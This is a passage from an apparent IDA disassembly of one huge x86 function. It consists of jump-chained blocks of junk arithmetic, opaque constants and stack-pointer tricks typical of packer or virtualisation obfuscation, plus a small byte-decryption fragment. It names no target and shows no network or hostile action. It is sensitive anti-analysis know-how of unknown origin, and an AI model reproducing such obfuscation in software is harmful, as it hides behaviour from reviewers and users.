loc_5AED4C:				; CODE XREF: sub_58A891+1CD45j
		pop	ebp
		jmp	loc_5AFD45
; ---------------------------------------------------------------------------


loc_5AED52:				; CODE XREF: sub_58A891+21F22j
		add	esi, edx
		pop	edx
		sub	ecx, esi
		pop	esi
		push	edi
		mov	edi, 489956C4h
		add	edi, 0DA5ADB68h
		sub	ecx, edi
		pop	edi
		push	ebx
		mov	ebx, 1CDC31BAh
		add	ecx, ebx
		pop	ebx
		jmp	loc_5A8043
; ---------------------------------------------------------------------------


loc_5AED75:				; CODE XREF: sub_58A891+14695j
		pop	ecx
		add	esp, 4
		xor	esi, [esp+0]
		xor	[esp+0], esi
		xor	esi, [esp+0]
		jmp	loc_5A3D3A
; ---------------------------------------------------------------------------


loc_5AED87:				; CODE XREF: sub_58A891+1BBA5j
		mov	edx, 0B456F2Ch
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		not	edi
		xchg	edi, edx
		shl	edx, 5
		not	edx
		push	ecx
		mov	ecx, 23B2C27h
		shl	ecx, 3
		shl	ecx, 2
		inc	ecx
		push	eax
		mov	eax, 616D32CFh
		or	ecx, eax
		mov	eax, [esp+0BEh+var_BE]
		add	esp, 4
		jmp	loc_5B1962
; ---------------------------------------------------------------------------


loc_5AEDBB:				; CODE XREF: sub_58A891+11E3Bj
		add	eax, 3EA01E75h
		add	eax, esi
		jmp	loc_5A0431
; ---------------------------------------------------------------------------


loc_5AEDC7:				; CODE XREF: sub_58A891+13DE1j
		sub	ecx, 5B2A260Bh
		ja	loc_5AD1EF
		or	ecx, 4F443569h
		jmp	loc_5A66F8
; ---------------------------------------------------------------------------


loc_5AEDDE:				; CODE XREF: sub_58A891+1DA61j
		push	ecx
		mov	ecx, 3BDB00A4h
		dec	ecx
		jmp	loc_5A3A86
; ---------------------------------------------------------------------------


loc_5AEDEA:				; CODE XREF: sub_58A891+21F5Cj
		xchg	edx, [esp+12h+var_14+2]
		pop	esp
		add	esp, 4
		jmp	loc_59D342
; ---------------------------------------------------------------------------


loc_5AEDF9:				; CODE XREF: sub_58A891+1400Dj
		add	al, 4Fh
		pop	bx
		mov	ebx, [esp+0B4h+var_B6+2]
		jmp	loc_59C8C2
; ---------------------------------------------------------------------------


loc_5AEE05:				; CODE XREF: sub_58A891+17135j
		xor	eax, ebx
		xor	ebx, eax
		push	4178h
		mov	[esp+0E0h+var_E2+2], eax
		jmp	loc_5A9913
; ---------------------------------------------------------------------------


loc_5AEE16:				; CODE XREF: sub_58A891+1BC42j
		push	esi
		mov	esi, 0A416245h
		sub	edi, esi
		pop	esi
		sub	edi, 1C574297h
		dec	edi
		sub	edi, 0C8C49764h
		xor	edx, edi
		pop	edi
		push	2124h
		mov	[esp+0A6h+var_A6], ebx
		push	71Eh
		mov	[esp+0AAh+var_AA], ebp
		push	6CCF56B4h
		pop	ebp
		add	ebp, 94FFB41Ch
		mov	ebx, ebp
		mov	ebp, [esp+0AAh+var_AA]
		add	esp, 4
		xor	edx, ebx
		pop	ebx
		add	ebp, edx
		pop	edx
		add	ebp, 2
		jmp	loc_5B2AC5
; ---------------------------------------------------------------------------


loc_5AEE61:				; CODE XREF: sub_58A891+11728j
		push	ebp
		push	[esp+36h+var_34+2]
		mov	ebp, [esp+3Ah+var_3C+2]
		push	ebp
		push	7ABEh
		mov	[esp+42h+var_44+2], esp
		add	[esp+42h+var_44+2], 4
		pop	ebp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp+3Eh+var_40+2]
		pop	esp
		jmp	loc_5AAED8
; ---------------------------------------------------------------------------


loc_5AEE8F:				; CODE XREF: sub_58A891+23231j
		push	ecx
		jmp	loc_59CC76
; ---------------------------------------------------------------------------


loc_5AEE95:				; CODE XREF: sub_58A891+16A6Aj
					; sub_58A891+1A30Dj
		xchg	esi, edx
		push	ebx
		mov	ebx, 239E3551h
		neg	ebx
		jmp	loc_5A84A6
; ---------------------------------------------------------------------------


loc_5AEEA4:				; CODE XREF: sub_58A891+1CD23j
		push	edi
		push	esp
		mov	edi, [esp+4Eh+var_50+2]
		jmp	loc_5AC592
; ---------------------------------------------------------------------------


loc_5AEEAE:				; CODE XREF: sub_58A891+14EFEj
		shr	ebp, 2
		jmp	loc_5A3351
; ---------------------------------------------------------------------------


loc_5AEEB6:				; CODE XREF: sub_58A891+17470j
		add	esi, 4
		xchg	esi, [esp+68h+var_68]
		mov	esp, [esp+68h+var_68]
		push	edx
		jmp	loc_5A0461
; ---------------------------------------------------------------------------


loc_5AEEC5:				; CODE XREF: sub_58A891:loc_59F5B6j
		jmp	loc_5A499E
; ---------------------------------------------------------------------------


loc_5AEECA:				; CODE XREF: sub_58A891+26C26j
		add	edi, 6DD90154h
		or	edi, 5FE53D72h
		sub	edi, 7BE2D87Ch
		add	edx, edi
		pop	edi
		sub	edx, eax
		sub	edx, 640A66FEh
		add	edx, 31D11485h
		jmp	loc_5A9823
; ---------------------------------------------------------------------------


loc_5AEEF2:				; CODE XREF: sub_58A891+27E37j
		add	ebp, ecx
		add	ebp, 174D21A2h
		push	ecx
		mov	ecx, 10D86609h
		sub	ebp, 3D33BCh
		add	ebp, ecx
		add	ebp, 3D33BCh
		pop	ecx
		push	[esp+1Eh+var_20+2]
		pop	ecx
		add	esp, 4
		jmp	loc_5A6062
; ---------------------------------------------------------------------------


loc_5AEF1B:				; CODE XREF: sub_58A891+1BEF3j
		push	413Bh
		mov	[esp+9Ch+var_9E+2], eax
		mov	eax, 16F65ECh
		sub	eax, 0EEB0E03h
		jmp	loc_59FA7D
; ---------------------------------------------------------------------------


loc_5AEF32:				; CODE XREF: sub_58A891+12683j
		not	al
		push	ecx
		jmp	loc_5AEC22
; ---------------------------------------------------------------------------


loc_5AEF3A:				; CODE XREF: sub_58A891+21095j
		add	al, 9Eh
		jmp	loc_5AC2B6
; ---------------------------------------------------------------------------


loc_5AEF41:				; CODE XREF: sub_58A891+247EAj
		add	edx, 0E91A2342h
		add	ebx, edx
		pop	edx
		mov	edx, [esp+90h+var_90]
		add	esp, 4
		jmp	loc_5A4D12
; ---------------------------------------------------------------------------


loc_5AEF55:				; CODE XREF: sub_58A891+1E9F6j
		or	ecx, eax
		mov	eax, [esp+0AAh+var_AA]
		add	esp, 4
		jmp	loc_5AE10D
; ---------------------------------------------------------------------------


loc_5AEF62:				; CODE XREF: sub_58A891+16F62j
		pop	ecx
		add	esp, 4
		xor	edx, [esp+4Ch+var_4C]
		xor	[esp+4Ch+var_4C], edx
		xor	edx, [esp+4Ch+var_4C]
		mov	esp, [esp+4Ch+var_4C]
		xor	[esp+4Ch+var_4C], eax
		pushf
		jmp	loc_5A876A
; ---------------------------------------------------------------------------


loc_5AEF7E:				; CODE XREF: sub_58A891+1E9A2j
		dec	ebp
		sub	ebp, 0A344E70Ch
		mov	ecx, ebp
		jmp	loc_5AF080
; ---------------------------------------------------------------------------


loc_5AEF8C:				; CODE XREF: sub_58A891+19561j
		mov	[esp+16h+var_18+2], esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4E743211h
		jmp	loc_5A03BD
; ---------------------------------------------------------------------------


loc_5AEFA2:				; CODE XREF: sub_58A891+21FA8j
		and	eax, esi
		push	[esp+3Ah+var_3C+2]
		pop	esi
		push	edi
		sub	esp, 4
		mov	[esp+42h+var_44+2], esp
		add	[esp+42h+var_44+2], 4
		pop	edi
		push	444Fh
		mov	[esp+42h+var_44+2], edx
		jmp	loc_5A08FF
; ---------------------------------------------------------------------------


loc_5AEFC1:				; CODE XREF: sub_58A891+139A2j
		pop	esp
		add	ebp, 2
		push	ebp
		push	[esp+42h+var_40+2]
		pop	ebp
		pop	[esp+42h+var_44+2]
		pop	esp
		and	word ptr [esp+3Ah+var_3C+2], ax
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AEFD9:				; CODE XREF: sub_58A891+2743Ej
		mov	ebx, [esp+3Eh+var_40+2]
		add	esp, 4
		add	eax, 2
		xor	eax, [esp+3Ah+var_3C+2]
		xor	[esp+3Ah+var_3C+2], eax
		jmp	loc_5A7C80
; ---------------------------------------------------------------------------


loc_5AEFF2:				; CODE XREF: sub_58A891+12E4Dj
		push	edi
		mov	edi, 224262FDh
		shl	edi, 3
		shr	edi, 4
		neg	edi
		add	edi, 31AA6407h
		mov	ebx, edi
		pop	edi
		jmp	loc_5A0D85
; ---------------------------------------------------------------------------


loc_5AF00E:				; CODE XREF: sub_58A891:loc_5AC25Aj
		shl	ebx, 1
		js	loc_59F6C1
		jmp	loc_5A2882
; ---------------------------------------------------------------------------
		jmp	loc_5A558F
; ---------------------------------------------------------------------------


loc_5AF020:				; CODE XREF: sub_58A891+12AC1j
		mov	[esp+16h+var_18+2], esi
		mov	esi, 4
		add	edx, esi
		push	[esp+16h+var_18+2]
		jmp	loc_59F02D
; ---------------------------------------------------------------------------


loc_5AF032:				; CODE XREF: sub_58A891+177DEj
		add	esp, 4
		sub	edi, 146B66D2h
		and	eax, edi
		push	[esp+5Ch+var_5C]
		pop	edi
		jmp	loc_5A29BF
; ---------------------------------------------------------------------------


loc_5AF046:				; CODE XREF: sub_58A891+22767j
		sub	esp, 4
		mov	[esp+8Ch+var_8C], ecx
		mov	ecx, 4
		add	ebx, 5F2F168Eh
		sub	ebx, ecx
		jmp	loc_5AC784
; ---------------------------------------------------------------------------


loc_5AF061:				; CODE XREF: sub_58A891+1EC4Fj
		add	esi, 51703228h
		jmp	loc_5A5947
; ---------------------------------------------------------------------------


loc_5AF06C:				; CODE XREF: sub_58A891+1421Bj
		xor	ebx, 77306ABFh
		or	edx, ebx
		pop	ebx
		shl	edx, 6
		shl	edx, 1
		dec	edx
		jmp	loc_5AEF41
; ---------------------------------------------------------------------------


loc_5AF080:				; CODE XREF: sub_58A891+11C5Cj
					; sub_58A891+246F6j
		jmp	loc_5AD3A7
; ---------------------------------------------------------------------------


loc_5AF085:				; CODE XREF: sub_58A891+19DE3j
		sub	esp, 4
		mov	[esp+0E2h+var_E2], esp
		add	[esp+0E2h+var_E2], 4
		pop	edi
		jmp	loc_5A3D98
; ---------------------------------------------------------------------------


loc_5AF098:				; CODE XREF: sub_58A891+22D1Fj
		push	[esp+12h+var_14+2]
		pop	ecx
		push	eax
		mov	eax, esp
		add	eax, 4
		push	esi
		mov	esi, 4
		add	eax, esi
		pop	esi
		jmp	loc_5AE213
; ---------------------------------------------------------------------------


loc_5AF0B2:				; CODE XREF: sub_58A891+1EBEAj
		push	ebx
		mov	ebx, 7E2A0E80h
		xor	ebx, 34DE3075h
		jmp	loc_5A6D5D
; ---------------------------------------------------------------------------


loc_5AF0C3:				; CODE XREF: sub_58A891+1D814j
		jno	loc_5AB6E8
		jmp	loc_5A9FC2
; ---------------------------------------------------------------------------
		sub	ebx, 7AB2E1Ah
		pop	esi


loc_5AF0D5:				; CODE XREF: sub_58A891+23C41j
		add	edx, 4
		push	edx
		push	[esp+42h+var_40+2]
		mov	edx, [esp+46h+var_48+2]
		add	esp, 4
		jmp	loc_5A7B10
; ---------------------------------------------------------------------------


loc_5AF0EB:				; CODE XREF: sub_58A891+1321Dj
		mov	ecx, 4EDB3E60h
		xor	edx, ecx
		jmp	loc_5A9FA9
; ---------------------------------------------------------------------------


loc_5AF0F7:				; CODE XREF: sub_58A891+26B28j
		pop	edx
		add	esp, 4
		jmp	loc_5AC8CA
; ---------------------------------------------------------------------------


loc_5AF100:				; CODE XREF: sub_58A891+1C198j
		pop	eax
		push	ebp
		push	esp
		pop	ebp
		push	3156h
		jmp	loc_5A6DCC
; ---------------------------------------------------------------------------


loc_5AF10E:				; CODE XREF: sub_58A891+1D46Bj
		mov	[esp+0A6h+var_A6], ecx
		mov	ecx, 661C402Eh
		sub	ecx, 15ED487Ch
		xor	ecx, 72BEABEDh
		sub	esi, 5B0B7A22h
		add	esi, ecx
		add	esi, 5B0B7A22h
		jmp	loc_5A19BC
; ---------------------------------------------------------------------------


loc_5AF135:				; CODE XREF: sub_58A891+26063j
		push	67F9h
		jmp	loc_5AC8E1
; ---------------------------------------------------------------------------


loc_5AF13F:				; CODE XREF: sub_58A891+27CECj
		mov	[esp+0AAh+var_AA], esi
		push	edx
		mov	edx, 19120777h
		neg	edx
		jmp	loc_5ABB55
; ---------------------------------------------------------------------------


loc_5AF14F:				; CODE XREF: sub_58A891+13AC1j
		add	ebx, eax
		mov	eax, [esp+2Eh+var_30+2]
		add	esp, 4
		jmp	loc_5ACEF5
; ---------------------------------------------------------------------------


loc_5AF15F:				; CODE XREF: sub_58A891+1C725j
		jmp	loc_5B26CD
; ---------------------------------------------------------------------------


loc_5AF164:				; CODE XREF: sub_58A891+1B12Cj
		pop	edx
		push	esi
		not	[esp+0ACh+var_AE+2]
		pop	esi
		add	esi, 62803C86h
		xor	esi, 0B871B7EBh
		jmp	loc_5A2EB6
; ---------------------------------------------------------------------------


loc_5AF17B:				; CODE XREF: sub_58A891+1D9C0j
		xor	eax, 2C02B8Ah
		mov	esi, eax
		mov	eax, [esp+7Ah+var_7C+2]
		add	esp, 4
		jmp	loc_5A91BE
; ---------------------------------------------------------------------------


loc_5AF190:				; CODE XREF: sub_58A891+2646Dj
		push	edx
		mov	edx, 4
		sub	ebx, edx
		jmp	loc_5A5DDB
; ---------------------------------------------------------------------------


loc_5AF19D:				; CODE XREF: sub_58A891+26A9Fj
		xor	[esp+7Ah+var_7C+2], edx
		xor	edx, [esp+7Ah+var_7C+2]
		mov	esp, [esp+7Ah+var_7C+2]
		and	ecx, eax
		push	[esp+7Ah+var_7C+2]
		pop	eax
		sub	esp, 4
		jmp	loc_5A442F
; ---------------------------------------------------------------------------


loc_5AF1B4:				; CODE XREF: sub_58A891+1D319j
		push	esi
		jmp	loc_5A91E5
; ---------------------------------------------------------------------------


loc_5AF1BA:				; CODE XREF: sub_58A891+1FE1Aj
		not	ebx
		sub	ebx, 7F80EB55h
		jmp	loc_5AF4B8
; ---------------------------------------------------------------------------


loc_5AF1C7:				; CODE XREF: sub_58A891+1ECBCj
		jmp	loc_5B2D84
; ---------------------------------------------------------------------------


loc_5AF1CC:				; CODE XREF: sub_58A891+208BBj
		dec	ebp
		xor	ebp, 708F0E4Ch
		shl	ebp, 2
		add	ebp, 42C74B9Dh
		add	ebp, 0F9D0A1C7h
		add	esi, ebp
		pop	ebp
		add	esi, 4
		jmp	loc_5AFC80
; ---------------------------------------------------------------------------


loc_5AF1ED:				; CODE XREF: sub_58A891+2396Bj
					; sub_58A891:loc_5B2824j
		inc	esi
		or	esi, 169C6A89h
		jmp	loc_5A70FA
; ---------------------------------------------------------------------------


loc_5AF1F9:				; CODE XREF: sub_58A891+23B3Bj
		mov	ax, word ptr [esp+10h+var_10]
		add	esp, 2
		jmp	loc_5A8389
; ---------------------------------------------------------------------------


loc_5AF208:				; CODE XREF: sub_58A891+25E7Dj
		jnb	loc_59F3AF
		dec	edx
		jo	loc_5A875E
		push	esi
		mov	esi, 27285E71h
		add	edx, esi


loc_5AF21D:				; CODE XREF: sub_58A891+2602Dj
		sub	edi, eax
		pop	eax
		push	ebx
		mov	ebx, 3F4F6789h
		not	ebx
		sub	ebx, 0FFFFFFFFh
		xchg	esi, ebx
		not	esi
		xchg	esi, ebx
		inc	ebx
		xor	ebx, 0A65095h
		sub	edi, ebx
		pop	ebx
		mov	edx, [esp+0Ch+var_C]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp+10h+var_10]
		pop	esp
		add	edi, 4
		xor	edi, [esp+0Ch+var_C]
		jmp	loc_5A3BAA
; ---------------------------------------------------------------------------


loc_5AF25C:				; CODE XREF: sub_58A891+16614j
		add	esp, 4
		add	esp, 4
		push	ebx
		mov	ebx, 46EC4993h
		dec	ebx
		shr	ebx, 2
		jmp	loc_59E9CD
; ---------------------------------------------------------------------------


loc_5AF271:				; CODE XREF: sub_58A891+17058j
		mov	esi, 7E815BA2h
		xor	esi, 8A21A58h
		shl	esi, 4
		jmp	loc_5B1CF1
; ---------------------------------------------------------------------------


loc_5AF284:				; CODE XREF: sub_58A891+24EE3j
		mov	ecx, esp
		add	ecx, 4
		sub	ecx, 4
		push	ecx
		push	[esp+2Eh+var_2C+2]
		pop	ecx
		jmp	loc_59EB15
; ---------------------------------------------------------------------------


loc_5AF29A:				; CODE XREF: sub_58A891+183D9j
		pop	ecx
		push	[esp+3Ah+var_3C+2]
		pop	edx
		push	esi
		push	esp
		mov	esi, [esp+42h+var_44+2]
		add	esp, 4
		jmp	loc_5A0724
; ---------------------------------------------------------------------------


loc_5AF2AF:				; CODE XREF: sub_58A891+14060j
		push	edi
		mov	edi, 4014A885h
		add	edx, edi
		mov	edi, [esp+0B0h+var_B2+2]
		add	esp, 4
		push	edx
		pop	esi
		pop	edx
		add	eax, esi
		pop	esi
		sub	eax, ebx
		push	2D5Fh
		mov	[esp+0A8h+var_AA+2], ebp
		push	7AE227D0h
		pop	ebp
		jmp	loc_59E07C
; ---------------------------------------------------------------------------


loc_5AF2D8:				; CODE XREF: sub_58A891+158E8j
		sub	edi, 76E94A08h
		add	edi, 4B753884h
		mov	ebp, edi
		jmp	loc_59C1AC
; ---------------------------------------------------------------------------


loc_5AF2EB:				; CODE XREF: sub_58A891+17915j
		add	ecx, 9DED58DBh
		mov	ebx, ecx
		jmp	loc_59E2F3
; ---------------------------------------------------------------------------


loc_5AF2F8:				; CODE XREF: sub_58A891+233EBj
		mov	esi, esp
		sub	esp, 4
		mov	[esp+74h+var_74], ebp
		jmp	loc_59C0FA
; ---------------------------------------------------------------------------


loc_5AF305:				; CODE XREF: sub_58A891+1F72Cj
		sub	al, cl
		pop	cx
		jmp	loc_5B16D4
; ---------------------------------------------------------------------------


loc_5AF30E:				; CODE XREF: sub_58A891+1F0CAj
		add	ebx, eax
		pop	eax
		push	[esp+8+var_8]
		jmp	loc_5AC925
; ---------------------------------------------------------------------------


loc_5AF319:				; CODE XREF: sub_58A891+2327Aj
		add	esp, 4
		jmp	loc_5AD3F5
; ---------------------------------------------------------------------------


loc_5AF321:				; CODE XREF: sub_58A891+19AB2j
		pop	edx
		add	edx, 0FFFFFFFFh
		add	edx, 3C9AB20Fh
		push	ebx
		push	esi
		mov	esi, edx
		mov	ebx, esi
		pop	esi
		push	ebx
		mov	esi, [esp+0C8h+var_CA+2]
		jmp	loc_5B2BBD
; ---------------------------------------------------------------------------
		lodsb
		xor	al, bl
		jmp	loc_5AA653
; ---------------------------------------------------------------------------


loc_5AF346:				; CODE XREF: sub_58A891+1979Ej
		xor	edi, 0EB5B29BFh
		mov	edx, edi
		pop	edi
		push	ebp
		jmp	loc_5B263D
; ---------------------------------------------------------------------------


loc_5AF355:				; CODE XREF: sub_58A891+1184Cj
		pop	ebp
		mov	edx, ebx
		push	[esp+26h+var_28+2]
		pop	ebx
		add	esp, 4
		and	ebx, edx
		mov	edx, [esp+22h+var_24+2]
		sub	esp, 4
		mov	[esp+26h+var_28+2], ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp+26h+var_28+2]
		mov	esp, [esp+26h+var_28+2]
		or	ebx, ebx
		jnz	loc_5AD921
		push	ebx
		push	esi
		push	52F05FE8h
		pop	esi
		xor	esi, 53A0764Bh
		jmp	loc_5A38D7
; ---------------------------------------------------------------------------


loc_5AF399:				; CODE XREF: sub_58A891:loc_59E716j
		neg	edi
		jno	loc_59DB71
		add	edi, 8D3E4865h
		jmp	loc_5B0639
; ---------------------------------------------------------------------------
		sub	esp, 4
		pop	edx


loc_5AF3B0:				; CODE XREF: sub_58A891+17996j
		mov	ah, 0E8h
		sub	ah, 38h
		add	ah, 57h
		xor	ah, 0A6h
		jmp	loc_5A5C05
; ---------------------------------------------------------------------------


loc_5AF3C0:				; CODE XREF: sub_58A891+1707Fj
		push	4EB4h
		mov	[esp+5Eh+var_60+2], ebx
		mov	ebx, 4
		add	esi, ebx
		pop	ebx
		add	esi, 4
		xchg	esi, [esp+5Ah+var_5C+2]
		pop	esp
		push	edx
		mov	edx, 5C2213BDh
		sub	ecx, edx
		mov	edx, [esp+5Ah+var_5C+2]
		jmp	loc_5AE340
; ---------------------------------------------------------------------------


loc_5AF3E7:				; CODE XREF: sub_58A891+11B2Cj
		mov	ebx, [esp+0]
		push	ebp
		push	4D5h
		jmp	loc_5A13C2
; ---------------------------------------------------------------------------


loc_5AF3F5:				; CODE XREF: sub_58A891:loc_5ABC49j
					; sub_58A891+260CBj
		push	edi
		mov	edi, 0DF54416Eh
		jmp	loc_5B2338
; ---------------------------------------------------------------------------


loc_5AF400:				; CODE XREF: sub_58A891+14E2Bj
		add	eax, ebx
		add	eax, 46977AEEh
		push	edx
		mov	edx, 20167B14h
		sub	eax, edx
		jmp	loc_5B0EA2
; ---------------------------------------------------------------------------


loc_5AF414:				; CODE XREF: sub_58A891+17625j
		sub	esi, ebp
		pop	ebp
		add	eax, esi
		pop	esi
		add	edx, eax
		pop	eax
		sub	edx, 29D64ADFh
		add	eax, edx
		mov	edx, [esp+94h+var_94]
		add	esp, 4
		push	68DFh
		mov	[esp+94h+var_94], ebx
		jmp	loc_59E733
; ---------------------------------------------------------------------------


loc_5AF438:				; CODE XREF: sub_58A891+1BFC8j
		pop	ebp
		xchg	edx, [esp+22h+var_24+2]
		pop	esp
		jmp	loc_5A87CF
; ---------------------------------------------------------------------------


loc_5AF442:				; CODE XREF: sub_58A891+166DDj
		add	edx, ecx
		push	ebx
		jmp	loc_5B2201
; ---------------------------------------------------------------------------


loc_5AF44A:				; CODE XREF: sub_58A891+1A4EFj
					; sub_58A891+1FE9Ej
		sub	ebp, 2
		xchg	ebp, [esp+42h+var_44+2]
		pop	esp
		mov	word ptr [esp+3Eh+var_40+2], di
		mov	di, 533Fh
		push	edx
		jmp	loc_5A1A6F
; ---------------------------------------------------------------------------


loc_5AF462:				; CODE XREF: sub_58A891+28440j
		mov	ebx, [esp+42h+var_44+2]
		add	esp, 4
		push	ebx
		jmp	loc_5A18BB
; ---------------------------------------------------------------------------


loc_5AF471:				; CODE XREF: sub_58A891+17AF5j
		push	esi
		jmp	loc_59E6CA
; ---------------------------------------------------------------------------


loc_5AF477:				; CODE XREF: sub_58A891+1F38Fj
		mov	[esp+0A8h+var_AA+2], ebp
		mov	ebp, 0E444FD6h
		jmp	loc_5A4BBD
; ---------------------------------------------------------------------------


loc_5AF484:				; CODE XREF: sub_58A891+13AECj
					; sub_58A891+23768j
		pop	edi
		push	eax
		jmp	loc_5A00A9
; ---------------------------------------------------------------------------


loc_5AF48B:				; CODE XREF: sub_58A891+14A3Dj
					; sub_58A891+1A344j
		pop	edi
		and	esi, ecx
		jmp	loc_5ABB22
; ---------------------------------------------------------------------------


loc_5AF493:				; CODE XREF: sub_58A891+19BA1j
		mov	edx, esp
		push	edi
		push	esi
		jmp	loc_5AC70F
; ---------------------------------------------------------------------------


loc_5AF49C:				; CODE XREF: sub_58A891+22D67j
		xor	edx, 7F5320C2h
		jmp	loc_59FADD
; ---------------------------------------------------------------------------


loc_5AF4A7:				; CODE XREF: sub_58A891+11AC9j
		pop	edi
		add	esi, edi
		push	[esp+6+var_8+2]
		jmp	loc_5AAEE0
; ---------------------------------------------------------------------------


loc_5AF4B2:				; CODE XREF: sub_58A891+1299Dj
		pop	esi
		jmp	loc_5B2B83
; ---------------------------------------------------------------------------


loc_5AF4B8:				; CODE XREF: sub_58A891+17CAAj
					; sub_58A891+20010j ...
		add	esp, 4
		push	edx
		mov	edx, 386A0BB6h
		xor	edi, edx
		pop	edx
		push	6310h
		mov	[esp+46h+var_48+2], edi
		add	[esp+46h+var_48+2], 1FD37CA2h
		pop	ebx
		jmp	loc_5AF711
; ---------------------------------------------------------------------------


loc_5AF4DC:				; CODE XREF: sub_58A891+1A9EAj
		push	edx
		mov	edx, 43926EF7h
		shl	edx, 7
		inc	edx
		or	edx, 1765032h
		inc	edx
		jmp	loc_5AB4D2
; ---------------------------------------------------------------------------


loc_5AF4F2:				; CODE XREF: sub_58A891+1BD85j
		dec	edx
		jmp	loc_59E7B8
; ---------------------------------------------------------------------------


loc_5AF4F8:				; CODE XREF: sub_58A891+12AF9j
		inc	ch
		jmp	loc_5A212A
; ---------------------------------------------------------------------------


loc_5AF4FF:				; CODE XREF: sub_58A891+18DB9j
		sub	esp, 4
		jmp	loc_5B08B6
; ---------------------------------------------------------------------------


loc_5AF50A:				; CODE XREF: sub_58A891+23738j
		sub	ecx, edi
		sub	ecx, 308012B1h
		pop	edi
		jmp	loc_5A3B35
; ---------------------------------------------------------------------------
		push	dword ptr [edi+40h]
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AF520:				; CODE XREF: sub_58A891+15DD0j
		shr	edi, 2
		jmp	loc_5B1F8D
; ---------------------------------------------------------------------------


loc_5AF528:				; CODE XREF: sub_58A891+15C73j
		sub	ebp, 55B869D7h
		add	edi, ebp
		pop	ebp
		pop	ecx
		add	eax, edi
		pop	edi
		push	ebp
		mov	ebp, 2
		add	eax, ebp
		pop	ebp
		xchg	eax, [esp+0CAh+var_CA]
		mov	esp, [esp+0CAh+var_CA]
		rol	[esp+0CAh+var_CA], cl
		pushf
		jmp	loc_59BF76
; ---------------------------------------------------------------------------


loc_5AF54D:				; CODE XREF: sub_58A891+25100j
		mov	ebx, 4B3A13E6h
		jmp	loc_5A8B07
; ---------------------------------------------------------------------------


loc_5AF557:				; CODE XREF: sub_58A891+2098Dj
		shl	bh, 4
		sub	bh, 5Dh
		sub	esp, 4
		jmp	loc_5B02D8
; ---------------------------------------------------------------------------


loc_5AF568:				; CODE XREF: sub_58A891+1BEE3j
		shl	esi, 7
		push	edx
		mov	edx, 5F9A7555h
		jmp	loc_5A9AFE
; ---------------------------------------------------------------------------


loc_5AF576:				; CODE XREF: sub_58A891+25E04j
		mov	edx, ecx
		pop	ecx
		sub	ecx, 537D0907h
		sub	ecx, edx
		add	ecx, 537D0907h
		jmp	loc_5A552C
; ---------------------------------------------------------------------------


loc_5AF58C:				; CODE XREF: sub_58A891+21E79j
		mov	edx, eax
		pop	eax
		pop	ebp
		add	edx, 40625D61h
		xor	edx, 70065ABEh
		jnb	loc_5AA1E6
		jmp	loc_5A6CE2
; ---------------------------------------------------------------------------
		sub	al, ch
		pop	ecx
		add	bl, al
		mov	al, 8Fh


loc_5AF5AE:				; CODE XREF: sub_58A891+1C875j
					; sub_58A891+22B99j
		pop	eax
		xor	edi, ebp
		push	[esp+0A4h+var_A6+2]
		pop	ebp
		add	esp, 4
		add	ecx, edi
		push	[esp+0A0h+var_A2+2]
		pop	edi
		jmp	loc_59D233
; ---------------------------------------------------------------------------


loc_5AF5C3:				; CODE XREF: sub_58A891+18008j
		add	ecx, 4
		sub	esp, 4
		jmp	loc_5AF768
; ---------------------------------------------------------------------------


loc_5AF5D1:				; CODE XREF: sub_58A891+22902j
		mov	ebp, [esp+0B2h+var_B2]
		sub	esp, 4
		mov	[esp+0B6h+var_B6], ebx
		jmp	loc_5A3BFE
; ---------------------------------------------------------------------------


loc_5AF5DF:				; CODE XREF: sub_58A891+1857Aj
		push	ecx
		mov	ecx, 70EB35E6h
		sub	esi, ecx
		mov	ecx, [esp+4Eh+var_50+2]
		add	esp, 4
		jmp	loc_5A55AD
; ---------------------------------------------------------------------------
		push	[esp+4Ah+var_4C+2]
		jmp	loc_5A75B3
; ---------------------------------------------------------------------------


loc_5AF5FA:				; CODE XREF: sub_58A891+252F2j
		jnz	loc_5A4AB4
		xchg	eax, esi
		jmp	loc_5A4D36
; ---------------------------------------------------------------------------
		mov	eax, [esp+4Eh+var_50+2]
		push	ecx
		mov	ecx, esp
		mov	edi, esi


loc_5AF60E:				; CODE XREF: sub_58A891+185F7j
		sub	eax, 6B7E0E56h
		jmp	loc_5AA4EF
; ---------------------------------------------------------------------------
		mov	sp, word ptr [esp+0AAh+var_AA]
		jmp	loc_59FA99
; ---------------------------------------------------------------------------


loc_5AF621:				; CODE XREF: sub_58A891+22311j
		add	esp, 4
		push	eax
		mov	eax, esp
		push	4444h
		mov	[esp+62h+var_64+2], esi
		push	ebx
		push	2BF4337Bh
		jmp	loc_5A1645
; ---------------------------------------------------------------------------


loc_5AF63A:				; CODE XREF: sub_58A891+1D85Cj
		mov	ebp, esp
		add	ebp, 4
		jmp	loc_5A3076
; ---------------------------------------------------------------------------


loc_5AF647:				; CODE XREF: sub_58A891+18C61j
					; sub_58A891+23D8Ej
		add	esp, 4
		add	ebp, eax
		pop	eax
		push	edx
		mov	edx, 2
		sub	ebp, 31F44798h
		jmp	loc_5AA37A
; ---------------------------------------------------------------------------


loc_5AF661:				; CODE XREF: sub_58A891+1F684j
		pop	esp
		push	20CFh
		mov	[esp+3Ah+var_3C+2], edi
		push	esp
		jmp	loc_5A3937
; ---------------------------------------------------------------------------


loc_5AF670:				; CODE XREF: sub_58A891+1FB78j
					; sub_58A891+22AC7j
		push	ebx
		mov	ebx, 36082E2Fh
		shl	ebx, 1
		jmp	loc_5A4E64
; ---------------------------------------------------------------------------


loc_5AF67D:				; CODE XREF: sub_58A891+1DA53j
		push	ebx
		mov	ebx, esp
		jmp	loc_5A6ECA
; ---------------------------------------------------------------------------


loc_5AF685:				; CODE XREF: sub_58A891+13727j
		add	eax, ebx
		pop	ebx
		sub	eax, 4
		sub	esp, 4
		mov	[esp+0C4h+var_C6+2], eax
		push	[esp+0C4h+var_C2+2]
		pop	eax
		pop	[esp+0C4h+var_C6+2]
		pop	esp
		mov	[esp+0BCh+var_BE+2], esi
		jmp	loc_5AD35D
; ---------------------------------------------------------------------------


loc_5AF6A2:				; CODE XREF: sub_58A891+18B67j
		not	ebx
		xchg	ebx, [esp+0C8h+var_CA+2]
		mov	ebp, [esp+0C8h+var_CA+2]
